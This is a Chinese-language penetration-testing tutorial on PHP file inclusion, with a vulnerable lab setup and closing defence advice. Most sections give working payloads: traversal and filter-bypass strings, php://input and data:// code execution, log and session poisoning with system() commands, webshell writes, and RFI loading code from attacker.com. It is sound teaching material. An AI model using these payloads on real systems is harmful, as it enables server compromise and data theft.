文件包含漏洞深度利用:从原理到实战绕过技巧
如果你是一名Web安全工程师或渗透测试人员,正在为CTF比赛或企业安全评估做准备,那么“文件包含漏洞”这个名词你一定不陌生。但你是否曾有过这样的困惑:明明理解了本地文件包含(LFL)和远程文件包含(RFL)的基本概念,在实战中却依然屡屡碰壁?为什么靶场环境能轻松利用,到了稍微复杂点的真实场景就无从下手?
问题的核心在于,大多数教程只停留在“是什么”的层面,告诉你“include函数很危险”,却很少深入剖析“为什么”以及“在什么条件下”它能被利用。这导致很多学习者知其然,而不知其所以然,面对变种和防护措施时束手无策。
本文将彻底改变这一现状。我们不只复述概念,而是聚焦于“Web文件包含漏洞的深度利用与实战绕过”。我们将从一个关键判断出发:文件包含漏洞的真正威力,远不止读取/etc/passwd,而在于它如何与服务器配置、编码逻辑、过滤规则相互作用,最终演变为获取Webshell、执行系统命令的致命跳板。
你将通过本文掌握:
- 原理深潜:从PHP包含机制出发,理解包含漏洞的本质是“将任意文件内容作为代码执行”。
- 实战扩展:超越基础LFI/RFI,深入
php://、zip://、data://等伪协议的高级利用。 - 绕过艺术:系统学习针对路径遍历过滤、后缀名限制、协议禁用的多种绕过技巧。
- 链式攻击:学习如何将文件包含与日志注入、Session文件、临时文件等结合,形成组合拳。
- 防御视角:从攻击手法反推,理解真正有效的安全防护应该怎么做。
本文结构清晰,包含大量可复现的代码示例和排查思路,适合收藏作为实战手册。让我们直接切入核心。
1. 文件包含漏洞:被低估的“代码执行引擎”
很多人把文件包含漏洞简单地理解为“读文件”,这是最大的误解。它的本质是“动态代码引入与执行”。
想象一下这个场景:一个PHP应用根据用户选择的“主题”来加载不同的头部文件。
// index.php $theme = $_GET['theme']; include('/themes/' . $theme . '.php');开发者的本意是让用户选择blue或red,从而包含/themes/blue.php。但如果用户传入theme=../../../etc/passwd%00呢?在特定PHP版本下,%00(空字节)会截断后面的.php,导致服务器尝试包含/etc/passwd。虽然/etc/passwd不是PHP代码,包含它会直接暴露其内容。这仅仅是“读文件”。
真正的危险在于,如果被包含的文件内容会被PHP解析器执行。例如,如果攻击者能控制包含一个自身可写的日志文件,并在User-Agent中注入PHP代码,那么包含该日志文件就等同于执行了任意PHP代码。
为什么它比“文件上传漏洞”更隐蔽?
- 文件上传需要攻击者找到一个上传点,并绕过内容检查。
- 文件包含可能存在于任何一个动态加载资源的地方(如模板、语言包、配置文件加载),且往往没有明显的“上传”动作,更容易被开发者忽略。
为什么它比“SQL注入”更致命?
- SQL注入的影响范围通常局限于数据库(窃取数据、篡改数据)。
- 成功的文件包含漏洞利用,往往直接意味着服务器被完全控制(获得Webshell),危害等级更高。
因此,在审计代码时,任何用户输入直接或间接传递给include、require、include_once、require_once、file_get_contents(在某些场景下)等函数的地方,都应视为高危风险点。
2. 核心概念辨析:LFI、RFI与伪协议包含
2.1 本地文件包含(LFI)
LFI是指包含服务器本地文件的漏洞。利用前提是攻击者能够通过路径遍历等手段,定位到目标文件。
常见敏感文件路径(Linux/Unix):
/etc/passwd # 用户账户信息 /etc/shadow # 用户密码哈希(需root权限) /var/log/apache2/access.log # Apache访问日志 /var/log/nginx/access.log # Nginx访问日志 /proc/self/environ # 当前进程环境变量 ~/.bash_history # 当前用户bash历史命令 /var/www/html/config.php # 网站配置文件基础利用示例:假设存在漏洞的URL为:http://vuln-site.com/index.php?page=about后端代码:include($_GET['page'] . '.php');
攻击者可以尝试:
http://vuln-site.com/index.php?page=../../../etc/passwd%00(注:%00截断在PHP < 5.3.4且magic_quotes_gpc=off时有效)
2.2 远程文件包含(RFI)
RFI是指包含远程服务器上文件的漏洞。利用前提是PHP配置中allow_url_include选项为On(默认自PHP5.2后为Off)。
利用条件:
allow_url_fopen = Onallow_url_include = On- 目标程序未对包含路径进行有效过滤(如禁止
http://、https://、ftp://等协议头)。
基础利用示例:攻击者在自己的服务器http://attacker.com/shell.txt上放置一个内容为<?php phpinfo();?>的文件。 存在漏洞的URL:http://vuln-site.com/index.php?file=http://attacker.com/shell.txt后端代码:include($_GET['file']);
访问该链接,服务器会远程包含并执行shell.txt中的PHP代码,输出phpinfo()信息。
重要区别:
- LFI:需要攻击者已经在服务器上有“可读且内容可控/可预测”的文件。
- RFI:只要配置允许,攻击者可以从外部完全控制被包含的代码内容,利用难度更低,危害更直接。因此,在安全配置中,务必确保
allow_url_include和allow_url_fopen为Off。
2.3 PHP伪协议包含
这是LFI利用的“王牌”,它让攻击者无需依赖RFI配置,也能实现“将非PHP文件作为代码执行”或“灵活读取文件”。以下是几个关键协议:
| 协议 | 作用 | 常用场景 |
|---|---|---|
php://filter | 对本地文件进行读写过滤转换。 | 读取PHP源码(经过Base64编码绕过解析)、字符串处理。 |
php://input | 访问请求的原始数据流。 | 执行POST请求体中的PHP代码。 |
data:// | 直接包含数据流。 | 将PHP代码直接内嵌在URL中执行,类似RFI。 |
zip:// | 包含ZIP压缩包中的文件。 | 配合文件上传,绕过后缀名检查。 |
phar:// | 包含PHAR归档中的文件(PHP归档)。 | 同上,功能更强大。 |
伪协议是LFI漏洞利用水平的分水岭。掌握它们,意味着你能够利用的漏洞场景呈指数级增长。
3. 环境准备与漏洞靶场搭建
为了安全地学习和实验,我们强烈建议在本地或隔离的虚拟机中搭建靶场环境。
3.1 基础环境
- 操作系统: Kali Linux, Ubuntu 或 Windows + WSL2。
- Web服务器: Apache2 或 Nginx。
- PHP版本: 建议安装PHP 5.x(如5.4、5.6)和PHP 7.x两个版本。许多经典漏洞(如
%00截断)在特定版本中才能复现。可以使用phpbrew或Docker来管理多版本。 - 数据库: 按需安装(本实验非必须)。
3.2 创建漏洞演示代码
在Web根目录(如/var/www/html)下创建以下文件:
1. 基础LFI漏洞文件 (lfi_basic.php):
<?php // 模拟存在漏洞的页面包含功能 $file = $_GET['file']; if(isset($file)) { include($file); } else { echo "Please provide a 'file' parameter."; } ?>2. 带后缀限制的LFI文件 (lfi_with_ext.php):
<?php // 开发者试图通过添加后缀来修复漏洞,但方法不安全 $page = $_GET['page']; include($page . '.php'); ?>3. 用于日志注入实验的页面 (visit.php):
<?php // 一个简单的页面,记录访问日志 echo "Your visit has been logged."; ?>3.3 配置PHP以启用关键功能(用于实验)
编辑PHP配置文件(如/etc/php/7.4/apache2/php.ini),确保以下设置,然后重启Apache。
; 允许访问URL对象(为RFI和部分伪协议实验开启,实验后请关闭!) allow_url_fopen = On allow_url_include = On ; 关闭魔术引号(模拟老旧或不安全配置) magic_quotes_gpc = Off ; 显示错误,方便调试 display_errors = On display_startup_errors = On error_reporting = E_ALL安全警告:这些配置绝不允许在生产环境中开启。本实验仅在隔离环境进行。
4. 核心利用流程拆解:从读取到代码执行
一个完整的文件包含攻击链通常遵循“信息收集 -> 漏洞探测 -> 利用扩大 -> 持久化”的流程。我们重点拆解“利用扩大”环节。
4.1 第一步:确认漏洞存在与类型
- 探测LFI:尝试包含
/etc/passwd或C:\Windows\win.ini等已知存在且可读的文件。/lfi_basic.php?file=../../../../etc/passwd - 探测RFI:尝试包含一个不存在的远程URL,观察错误信息。或者使用
http://attacker.com/test.txt?(末尾加?)来防止服务器添加后缀。/lfi_basic.php?file=http://your-ip/test.txt? - 观察响应:成功读取文件内容或出现“URL file-access is disabled”等错误,都能帮助你判断漏洞类型和配置。
4.2 第二步:利用php://filter读取源码
当直接包含.php文件时,服务器会执行它而非显示源码。php://filter可以将其内容进行编码转换后输出。
利用链:读取网站配置文件,获取数据库密码或其他敏感信息。
/lfi_basic.php?file=php://filter/convert.base64-encode/resource=index.php /lfi_basic.php?file=php://filter/convert.base64-encode/resource=../config.php访问上述URL,你会得到经过Base64编码的PHP文件源码。将其解码即可。
# 在Kali Linux中解码 echo "PD9waHAgZWNobyAiSGVsbG8gV29ybGQiOz8+" | base64 -d4.3 第三步:利用php://input或data://执行代码
当allow_url_include=On时,这两个协议是获取代码执行权限的利器。
方法A:使用php://input
- 使用Burp Suite或Curl发起POST请求。
- 在请求体中直接写入PHP代码。
POST /lfi_basic.php?file=php://input HTTP/1.1 Host: vuln-site.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 <?php phpinfo();?>方法B:使用data://直接在URL中内嵌代码,更为简便。
/lfi_basic.php?file=data://text/plain,<?php phpinfo();?> /lfi_basic.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(注意:代码中的<?php ... ?>需要进行URL编码)
4.4 第四步:利用日志文件进行“无RFI”代码执行
这是LFI利用中最经典、最实用的技巧。思路是:将PHP代码注入到服务器某个可读的文件中(如访问日志、错误日志),然后通过LFI去包含这个日志文件。
操作流程:
- 找到日志路径:通常为
/var/log/apache2/access.log或/var/log/nginx/access.log。可以通过LFI读取/proc/self/fd/下的文件描述符或尝试常见路径来发现。 - 注入PHP代码:在HTTP请求的某个字段(如User-Agent, Referer)中插入PHP代码。
curl -H "User-Agent: <?php system(\$_GET['cmd']);?>" http://vuln-site.com/visit.php - 通过LFI包含日志并执行命令:
如果成功,服务器会执行日志文件中的/lfi_basic.php?file=/var/log/apache2/access.log&cmd=idsystem('id')代码,并返回命令执行结果。
关键点:日志文件通常体积庞大,包含它可能导致超时或内存耗尽。可以尝试在注入后立即访问,或者寻找更小的日志文件(如SSH日志/var/log/auth.log)。
5. 完整实战示例:组合拳获取Webshell
假设我们面对一个目标:http://target.com/index.php?module=news后端代码推测为:include(‘./modules/’ . $_GET[‘module’] . ‘.php’);
我们的目标:上传一个Webshell并执行。
步骤1:信息收集与漏洞确认
# 尝试路径遍历,确认LFI http://target.com/index.php?module=../../../../etc/passwd%00 # 如果成功,说明存在LFI,且可能支持%00截断(PHP版本较老)。步骤2:尝试伪协议读取源码
# 读取index.php本身,了解程序结构 http://target.com/index.php?module=php://filter/convert.base64-encode/resource=index # 注意,这里参数是`module`,后端会自动加`.php`,所以`resource=index`对应`index.php`。 # 解码后,我们可能发现其他功能点或配置文件路径。步骤3:寻找可写、可包含的文件
- 方案A:日志文件(如上文所述)。
- 方案B:Session文件。如果网站使用PHP Session,且我们知道Session ID,可以尝试向Session文件中注入代码。
- Session文件路径通常为
/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID]。 - 我们可以通过Cookie设置
PHPSESSID为<?php phpinfo();?>(需进行URL编码),然后通过LFI包含这个Session文件。
# 请求1:设置恶意的Session ID curl -b 'PHPSESSID=<?php phpinfo();?>' http://target.com/ # 请求2:包含Session文件(需要猜测或爆破文件名) http://target.com/index.php?module=../../../../tmp/sess_<?php phpinfo();?> # 注意:文件名中的`<` `>` `?`等字符需要根据系统环境处理,成功率受环境限制。 - Session文件路径通常为
步骤4:利用文件上传+包含获取Webshell假设目标网站还有一个头像上传功能,只允许.jpg、.png后缀,并对文件内容进行了检查。
- 制作图片马:将一个Webshell代码附加到一张真实图片的末尾。
echo '<?php eval($_POST["cmd"]);?>' >> shell.jpg - 上传文件:成功上传
shell.jpg,获得路径如/uploads/avatar/12345.jpg。 - 利用包含漏洞执行图片马:使用
zip://或phar://协议。zip://利用:先将图片马压缩成ZIP,然后上传这个ZIP文件(如果允许上传.zip)。假设上传后路径为/uploads/temp.zip。
(http://target.com/index.php?module=zip:///var/www/html/uploads/temp.zip%23shell.jpg%23是#的URL编码,用于指定ZIP包内的文件)phar://利用:更通用。即使文件后缀是.jpg,只要文件内容符合PHAR格式,就可以用phar://包含执行。这需要先构造一个特殊的PHAR文件,然后修改后缀为.jpg上传。构造PHAR文件需要脚本支持,此处不展开。
步骤5:直接写入Webshell(需有可写目录权限)如果通过LFI能执行命令,可以直接写入Webshell。
# 通过之前的日志包含或php://input执行命令,写入文件 http://target.com/index.php?module=/var/log/apache2/access.log&cmd=echo '<?php eval($_POST[ant]);?>' > /var/www/html/shell.php然后访问http://target.com/shell.php,使用密码ant进行连接。
6. 高级绕过技巧:应对各种过滤
现代应用会部署各种WAF或自定义过滤规则,我们需要掌握绕过方法。
6.1 路径遍历过滤绕过
- 绝对路径替代相对路径:如果过滤
../,尝试直接使用绝对路径。?file=/etc/passwd ?file=C:\Windows\System32\drivers\etc\hosts - 编码绕过:
- URL编码:
..%2f(/),%2e%2e%2f(../),%252e%252e%252f(双重URL编码)。 - Unicode编码:在某些上下文中可能被解析。
- URL编码:
- 超长路径截断:在旧系统/旧PHP版本中,使用超长文件名可能使系统自动截断。
?file=../../../etc/passwd/./././.[重复数百次]./././.
6.2 后缀名限制绕过
- 空字节截断:
%00(需PHP<5.3.4)。?page=../../../etc/passwd%00 - 路径长度截断:Windows下路径最大长度259字节,Linux下4096字节。添加大量
./或/使总长度超限,系统会丢弃后面的后缀。?page=../../../etc/passwd/./././.[重复]... - 利用协议:使用
php://filter等协议时,其后缀限制通常无效。?page=php://filter/read=convert.base64-encode/resource=../../config - 问号截断:在URL中,
?后的内容被视为查询参数,不影响文件路径。这在RFI中常用,在LFI中某些场景也有效。?page=http://evil.com/shell.txt? ?page=../../../etc/passwd?.php
6.3 协议黑名单绕过
如果黑名单了http://、php://等字符串。
- 大小写混淆:
PHP://、PhP://。 - 嵌套协议:
php://filter/convert.base64-encode/resource=php://input(某些场景)。 - 使用不常见的协议:
file://、expect://(需安装扩展)、ssh2://等。 - 利用编码:对协议名进行URL编码、双重编码。
6.4 实战综合绕过示例
假设代码过滤如下:
$file = str_replace(array('http://', 'https://', 'ftp://', 'php://', '..', 'etc/passwd'), '', $_GET['file']); include($file . '.php');绕过思路:
- 使用
pHp://(大小写)绕过php://的替换。 - 使用
....//(双写)绕过..的替换。str_replace只替换一次,....//被替换掉中间的..后,剩下的正好是../。 - 最终Payload:
经过过滤后,?file=pHp://filter/convert.base64-encode/resource=....//....//....//etc/passwdpHp://保持不变,....//变成../,成功读取/etc/passwd。
7. 常见问题与排查思路
在实战利用过程中,你可能会遇到各种错误。下表列出了常见问题及解决方法:
| 问题现象 | 可能原因 | 排查方式 | 解决方案 |
|---|---|---|---|
包含/etc/passwd返回空白或错误 | 1. 文件不存在(Windows靶场)。 2. PHP配置 open_basedir限制。3. Web服务器无读取权限。 | 1. 尝试包含Web目录下的已知文件。 2. 查看PHP错误日志。 3. 尝试包含 /proc/self/cwd/index.php(当前工作目录)。 | 1. 切换为Windows路径测试。 2. 尝试绕过 open_basedir(有专门技巧)。3. 寻找其他可读文件。 |
使用php://input无反应 | 1.allow_url_include=Off。2. 请求不是POST方法。 3. 包装器被禁用。 | 1. 检查phpinfo()中的配置。2. 确认使用Burp或Curl发送了POST数据。 | 1. 尝试data://协议。2. 转向日志包含或文件上传利用。 |
| 日志包含成功但代码不执行 | 1. 日志中的PHP代码被转义或破坏。 2. 包含的日志文件路径不对。 3. 日志文件权限问题。 | 1. 查看日志文件原始内容,确认代码是否完整。 2. 尝试包含更小的日志文件。 3. 检查文件权限是否为Web用户可读。 | 1. 确保注入的代码没有特殊字符被转义。 2. 使用 <?=短标签或<?php echotest;?>这类简单代码测试。 |
zip://或phar://协议无效 | 1. PHP未支持对应包装器。 2. 文件路径语法错误。 3. ZIP文件内部路径不对。 | 1. 查看phpinfo()中Registered PHP Streams。2. 检查路径中的 #是否编码为%23。3. 确认ZIP包内文件存在。 | 1. 确保使用绝对路径。 2. 正确编码 #号。3. 使用 phar://时确保文件是有效的PHAR格式。 |
| 包含后页面布局错乱或只显示部分内容 | 被包含的文件输出内容破坏了原页面HTML结构。 | 查看网页源代码。 | 使用php://filter的read和encode功能,或通过Burp查看原始响应。 |
8. 防御最佳实践:从攻击者视角加固
理解了攻击手法,防御就更有针对性。以下是从开发和安全运维角度给出的建议:
8.1 开发阶段
- 绝对禁止用户输入直接控制包含路径。这是根本。
- 使用白名单机制。如果必须动态包含,应使用固定的映射数组。
$allowed_pages = array('home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php'); $page = $_GET['page']; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include('404.php'); } - 严格限制包含目录。使用
basename()函数获取文件名,或使用realpath()检查最终路径是否在允许的目录内。$base_dir = '/var/www/html/includes/'; $file = $_GET['file']; $real_path = realpath($base_dir . $file); if ($real_path && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('Invalid file.'); } - 关闭危险特性。在
php.ini中:allow_url_include = Off allow_url_fopen = Off - 及时升级。使用稳定的PHP版本,避免已知的截断类漏洞。
8.2 安全配置
- 配置
open_basedir。将PHP可访问的文件限制在网站目录内。 - Web服务器权限最小化。以低权限用户运行PHP-FPM或Apache模块,并确保其无法读取系统关键文件(如
/etc/shadow)。 - 严格控制日志目录权限。确保Web用户对日志文件只有追加写入权限,没有读取权限(这可能会影响一些日志分析工具,需权衡)。
- 部署Web应用防火墙(WAF)。配置规则拦截常见的路径遍历、协议包装器等攻击特征。
8.3 代码审计与渗透测试
- 在SDL(安全开发生命周期)中引入代码审计,重点检查所有文件操作函数。
- 定期进行渗透测试,将文件包含漏洞作为测试项。
- 使用静态代码分析工具(SAST)辅助发现潜在漏洞。
文件包含漏洞如同一把隐藏在代码深处的“万能钥匙”,攻击者一旦获得它,就能打开通往服务器核心的大门。防御的关键,不在于在门上加多少把锁(过滤规则),而在于从根本上不把钥匙的制作方法交给用户。
通过本文的深度剖析,你应该已经超越了“读取/etc/passwd”的初级阶段,掌握了利用伪协议、组合日志注入、绕过过滤规则的高级技巧。建议你在授权的靶场环境中反复练习这些技巧,并深刻理解其背后的原理。只有这样,当你进行安全审计或渗透测试时,才能一眼看穿那些看似无害的include语句背后潜藏的巨大风险,并为企业构建起真正有效的防御体系。
